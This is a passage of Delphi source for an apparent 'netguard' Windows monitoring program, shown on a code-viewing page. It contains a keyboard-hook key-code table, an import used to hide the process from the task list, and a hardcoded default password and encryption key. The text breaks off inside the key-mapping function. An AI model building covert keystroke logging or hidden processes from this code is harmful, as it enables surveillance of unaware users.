📄 main.pas
字号:
unit main;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ExtCtrls, SUIForm, Menus, SUIMainMenu, SUITabControl, registry,
SUIPageControl, ComCtrls, SUIListView, StdCtrls, TFlatPanelUnit,
SUIButton, AAFont, AACtrls, TLHelp32, TFlatEditUnit, Buttons,StrUtils,
SUITrackBar, TFlatGroupBoxUnit, TFlatCheckBoxUnit, SUISideChannel,
SUIMemo, SUIImagePanel, SUIGroupBox, SUIEdit, SUIListBox, yupack,
SUIURLLabel, AnimationEffect, AutoUpgrader, SUIProgressBar, ScktComp,
SnStatusBar, TFlatButtonUnit,Des;
type
TProcessInfo = record
ExeFile: string;
ProcessId: DWORD;
end;
type
ProcessInfo = ^TProcessInfo;
Tstart = class(TForm)
suiForm1: TsuiForm;
control: TsuiPageControl;
sheet1: TsuiTabSheet;
sheet2: TsuiTabSheet;
sheet4: TsuiTabSheet;
Listbox1: TListBox;
Edit1: TEdit;
ListBox2: TListBox;
Label1: TLabel;
Label2: TLabel;
Label3: TLabel;
Timer1: TTimer;
suiButton1: TsuiButton;
suiButton2: TsuiButton;
FlatGroupBox1: TFlatGroupBox;
suiTrackBar1: TsuiTrackBar;
FlatCheckBox1: TFlatCheckBox;
FlatEdit1: TFlatEdit;
Label4: TLabel;
Label5: TLabel;
suiButton3: TsuiButton;
suiButton4: TsuiButton;
suiSideChannel1: TsuiSideChannel;
suiMemo1: TsuiMemo;
suiGroupBox1: TsuiGroupBox;
suiGroupBox2: TsuiGroupBox;
suiGroupBox3: TsuiGroupBox;
suiMemo2: TsuiMemo;
suiMemo3: TsuiMemo;
suiEdit1: TsuiEdit;
suiListBox1: TsuiListBox;
suiButton5: TsuiButton;
suiButton6: TsuiButton;
suiButton7: TsuiButton;
suiButton8: TsuiButton;
suiCheckBox1: TsuiCheckBox;
Timer2: TTimer;
suiTrackBar2: TsuiTrackBar;
yu: TYuSoftLabel;
YuSoftLabel2: TYuSoftLabel;
YuSoftLabel3: TYuSoftLabel;
dh: TAnimationEffect;
Sheet3: TsuiTabSheet;
suiGroupBox4: TsuiGroupBox;
suiGroupBox5: TsuiGroupBox;
suiGroupBox6: TsuiGroupBox;
dh1: TsuiCheckBox;
dh2: TsuiCheckBox;
dh3: TsuiCheckBox;
suiTrackBar3: TsuiTrackBar;
suiCheckBox2: TsuiCheckBox;
AutoUpgrader: TAutoUpgrader;
Label6: TLabel;
suiButton9: TsuiButton;
suiProgressBar1: TsuiProgressBar;
suiURLLabel1: TsuiURLLabel;
suiURLLabel2: TsuiURLLabel;
suiURLLabel3: TsuiURLLabel;
suiCheckBox3: TsuiCheckBox;
Label7: TLabel;
suiCheckBox4: TsuiCheckBox;
Label8: TLabel;
Label9: TLabel;
Label10: TLabel;
suiGroupBox7: TsuiGroupBox;
Label11: TLabel;
Label12: TLabel;
suiEdit2: TsuiEdit;
suiEdit3: TsuiEdit;
ClientSocket1: TClientSocket;
SnStatusBar1: TSnStatusBar;
Memo1: TMemo;
suiGroupBox8: TsuiGroupBox;
suiCheckBox5: TsuiCheckBox;
suiCheckBox6: TsuiCheckBox;
suiCheckBox7: TsuiCheckBox;
suiButton10: TsuiButton;
suiButton11: TsuiButton;
suiButton12: TsuiButton;
suiMemo4: TsuiMemo;
suiCheckBox8: TsuiCheckBox;
suiGroupBox9: TsuiGroupBox;
suiEdit4: TsuiEdit;
FlatButton1: TFlatButton;
suiButton13: TsuiButton;
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
procedure suiButton1Click(Sender: TObject);
procedure FlatCheckBox1Click(Sender: TObject);
procedure suiTrackBar1Change(Sender: TObject);
procedure suiButton3Click(Sender: TObject);
procedure suiButton2Click(Sender: TObject);
procedure suiButton4Click(Sender: TObject);
procedure Timer2Timer(Sender: TObject);
procedure suiCheckBox1Click(Sender: TObject);
procedure suiTrackBar2Change(Sender: TObject);
procedure suiButton5Click(Sender: TObject);
procedure suiButton6Click(Sender: TObject);
procedure suiButton7Click(Sender: TObject);
procedure suiButton8Click(Sender: TObject);
procedure dh1Click(Sender: TObject);
procedure dh2Click(Sender: TObject);
procedure dh3Click(Sender: TObject);
procedure AutoUpgraderError(Sender: TObject);
procedure AutoUpgraderNoUpdateAvailable(Sender: TObject);
procedure AutoUpgraderDone(Sender: TObject; FileSize: Integer);
procedure AutoUpgraderUpgrade(Sender: TObject; UsersServed: Integer;
var ShowMessageBox, CanUpgrade: Boolean);
procedure AutoUpgraderProgress(Sender: TObject; TotalSize, ReadSize,
ReadPercents: Integer);
procedure suiButton9Click(Sender: TObject);
procedure suiCheckBox3Click(Sender: TObject);
procedure suiCheckBox2Click(Sender: TObject);
procedure suiTrackBar3Change(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure ClientSocket1Connect(Sender: TObject;
Socket: TCustomWinSocket);
procedure ClientSocket1Connecting(Sender: TObject;
Socket: TCustomWinSocket);
procedure ClientSocket1Disconnect(Sender: TObject;
Socket: TCustomWinSocket);
procedure ClientSocket1Error(Sender: TObject; Socket: TCustomWinSocket;
ErrorEvent: TErrorEvent; var ErrorCode: Integer);
procedure ClientSocket1Read(Sender: TObject; Socket: TCustomWinSocket);
procedure suiCheckBox5Click(Sender: TObject);
procedure suiCheckBox6Click(Sender: TObject);
procedure suiCheckBox7Click(Sender: TObject);
procedure suiButton10Click(Sender: TObject);
procedure suiButton11Click(Sender: TObject);
procedure suiButton12Click(Sender: TObject);
procedure suiMemo2DblClick(Sender: TObject);
procedure suiMemo3DblClick(Sender: TObject);
procedure suiCheckBox8Click(Sender: TObject);
procedure FlatButton1Click(Sender: TObject);
procedure controlTabActive(Sender: TObject; TabIndex: Integer);
procedure suiButton13Click(Sender: TObject);
procedure controlMouseMove(Sender: TObject; Shift: TShiftState; X,
Y: Integer);
procedure suiGroupBox8MouseMove(Sender: TObject; Shift: TShiftState; X,
Y: Integer);
procedure suiForm1TitleBarCustomBtnsClick(Sender: TObject;
ButtonIndex: Integer);
procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);
private
function Keyhookresult(lP: integer; wP: integer): pchar;
procedure ProcessList(var pList: TList);
procedure My_RunFileScan(ListboxRunFile: TListBox);
procedure myENumChildWindows(hand: HWND);
{ Private declarations }
public
Current: TList;
{ Public declarations exit}
end;
{
type
TRegisterServiceProcess = function (dwProcessID, dwType:DWord) : DWORD; stdcall;
}
{
Const
cOsUnknown : Integer = -1;
cOsWin95 : Integer = 0;
cOsWin98 : Integer = 1;
cOsWin98SE : Integer = 2;
cOsWinME : Integer = 3;
cOsWinNT : Integer = 4;
cOsWin2000 : Integer = 5;
cOsWhistler : Integer = 6;
Function GetOSVersion : Integer;
Function GetOSName( OSCode : Integer ) : String;
}
var
start: Tstart;
hookkey: string;
hooktimes: word;
hHook: integer;
Reg: TRegistry ;
rightpassword:boolean;
cancloseme:boolean;
implementation
function RegisterServiceProcess(dwProcessID, dwType: DWord) : DWord; stdcall; external 'KERNEL32.DLL';
{$R *.dfm}
{
Function GetOSVersion : Integer;
Var
osVerInfo : TOSVersionInfo;
majorVer, minorVer : Integer;
Begin
Result := cOsUnknown;
osVerInfo.dwOSVersionInfoSize := SizeOf( TOSVersionInfo );
If ( GetVersionEx( osVerInfo ) ) Then Begin
majorVer := osVerInfo.dwMajorVersion;
minorVer := osVerInfo.dwMinorVersion;
Case ( osVerInfo.dwPlatformId ) Of
VER_PLATFORM_WIN32_NT : // Windows NT/2000
Begin
If ( majorVer <= 4 ) Then
Result := cOsWinNT
Else
If ( ( majorVer = 5 ) And ( minorVer= 0 ) ) Then
Result := cOsWin2000
Else
If ( ( majorVer = 5) And ( minorVer = 1 ) ) Then
Result := cOsWhistler
Else
Result := cOsUnknown;
End;
VER_PLATFORM_WIN32_WINDOWS : // Windows 9x/ME
Begin
If ( ( majorVer = 4 ) And ( minorVer = 0 ) ) Then
Result := cOsWin95
Else If ( ( majorVer = 4 ) And ( minorVer = 10 ) ) Then Begin
If ( osVerInfo.szCSDVersion[ 1 ] = 'A' ) Then
Result := cOsWin98SE
Else
Result := cOsWin98;
End Else If ( ( majorVer = 4) And ( minorVer = 90 ) ) Then
Result := cOsWinME
Else
Result := cOsUnknown;
End;
Else
Result := cOsUnknown;
End;
End Else
Result := cOsUnknown;
End;
Function GetOSName( OSCode : Integer ) : String;
Begin
If ( OSCode = cOsUnknown ) Then
Result := '(sconosciuto)'
Else If ( OSCode = cOsWin95 ) Then
Result := 'Microsoft Windows 95'
Else If ( OSCode = cOsWin98 ) Then
Result := 'Microsoft Windows 98'
Else If ( OSCode = cOsWin98SE ) Then
Result := 'Microsoft Windows 98 Second Edition'
Else If ( OSCode = cOsWinME ) Then
Result := 'Microsoft Windows Millennium Edition'
Else If ( OSCode = cOsWinNT ) Then
Result := 'Microsoft Windows New Technology'
Else If ( OSCode = cOsWin2000 ) Then
Result := 'Microsoft Windows 2000 / NT 5'
Else
Result := 'Microsoft Windows';
End;
}
procedure checkpassword;
var
InputString: string;
begin
reg:=tregistry.Create ;
reg.RootKey :=HKEY_CURRENT_USER;
if not rightpassword then
if reg.OpenKey('\Software\netguard\password',true) then
begin
if reg.ValueExists('superword') then
begin
InputString:= InputBox('用户密码验证', ' 请输入用户密码进行验证:(第一次使用请输入默认密码)', '');
if reg.ReadString('superword')=EncryStrhex(Inputstring,'cd37ycs19750323') then
begin
showmessage('用户密码输入正确!');
rightpassword := true;
end
else
begin
showmessage('用户密码输入错误!');
rightpassword := false;
end;
end
else
begin
InputString:= InputBox('用户密码验证', ' 请输入旧密码:(第一次使用请输入默认密码)', '');
if EncryStrhex(Inputstring,'cd37ycs19750323')= EncryStrhex('19755791','cd37ycs19750323') then
begin
showmessage('默认密码正确!');
rightpassword := true;
end
else
begin
showmessage('默认密码输入错误!');
rightpassword := false;
end;
end;
end;
reg.CloseKey ;
reg.Free ;
end;
function Tstart.Keyhookresult(lP: integer; wP: integer): pchar;
begin
result := '[Print Screen]';
{ VK_0 thru VK_9 are the same as ASCII '0' thru '9' ($30 - $39) }
{ VK_A thru VK_Z are the same as ASCII 'A' thru 'Z' ($41 - $5A) }
case lp of
14354: result := '[Alt]'; //不能识别
10688: result := '`';
561: Result := '1';
818: result := '2';
1075: result := '3';
1332: result := '4';
1589: result := '5';
1846: result := '6';
2103: result := '7';
2360: result := '8';
2617: result := '9';
2864: result := '0';
3261: result := '-';
3515: result := '=';
4177: result := 'Q';
4439: result := 'W';
4677: result := 'E';
4946: result := 'R';
5204: result := 'T';
5465: result := 'Y';
5717: result := 'U';
5961: result := 'I';
6223: result := 'O';
6480: result := 'P';
6875: result := '[';
7133: result := ']';
11228: result := '\';
7745: result := 'A';
8019: result := 'S';
8260: result := 'D';
8518: result := 'F';
8775: result := 'G';
9032: result := 'H';
9290: result := 'J';
9547: result := 'K';
9804: result := 'L';
10170: result := ';';
10462: result := '''';
11354: result := 'Z';
11608: result := 'X';
11843: result := 'C';
12118: result := 'V';
12354: result := 'B';
12622: result := 'N';
12877: result := 'M';
13244: result := ',';
13502: result := '.';
13759: result := '/';
13840: result := '[Right-Shift]';
14624: result := '[Space]';
283: result := '[Esc]';
15216: result := '[F1]';
15473: result := '[F2]';
15730: result := '[F3]';
15987: result := '[F4]';
16244: result := '[F5]';
16501: result := '[F6]';
16758: result := '[F7]';
17015: result := '[F8]';
17272: result := '[F9]';
17529: result := '[F10]';
22394: result := '[F11]';
22651: result := '[F12]';
10768: Result := '[Left-Shift]';
14868: result := '[CapsLock]';
3592: result := '[Backspace]';
3849: result := '[Tab]';
7441:
if wp > 30000 then
result := '[Right-Ctrl]'
else
result := '[Left-Ctrl]';
13679: result := '[Num /]';
17808: result := '[NumLock]';
300: result := '[Print Screen]';
18065: result := '[Scroll Lock]';
17683: result := '[Pause]';
21088: result := '[Num0]';
21358: result := '[Num.]';
20321: result := '[Num1]';
20578: result := '[Num2]';
20835: result := '[Num3]';
19300: result := '[Num4]';
19557: result := '[Num5]';
19814: result := '[Num6]';
18279: result := '[Num7]';
18536: result := '[Num8]';
18793: result := '[Num9]';
19468: result := '[*5*]';
14186: result := '[Num *]';
19053: result := '[Num -]';
20075: result := '[Num +]';
21037: result := '[Insert]';
21294: result := '[Delete]';
18212: result := '[Home]';
20259: result := '[End]';
18721: result := '[PageUp]';
20770: result := '[PageDown]';
18470: result := '[UP]';
20520: result := '[DOWN]';
19237: result := '[LEFT]';
19751: result := '[RIGHT]';
7181: result := '[Enter]';
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -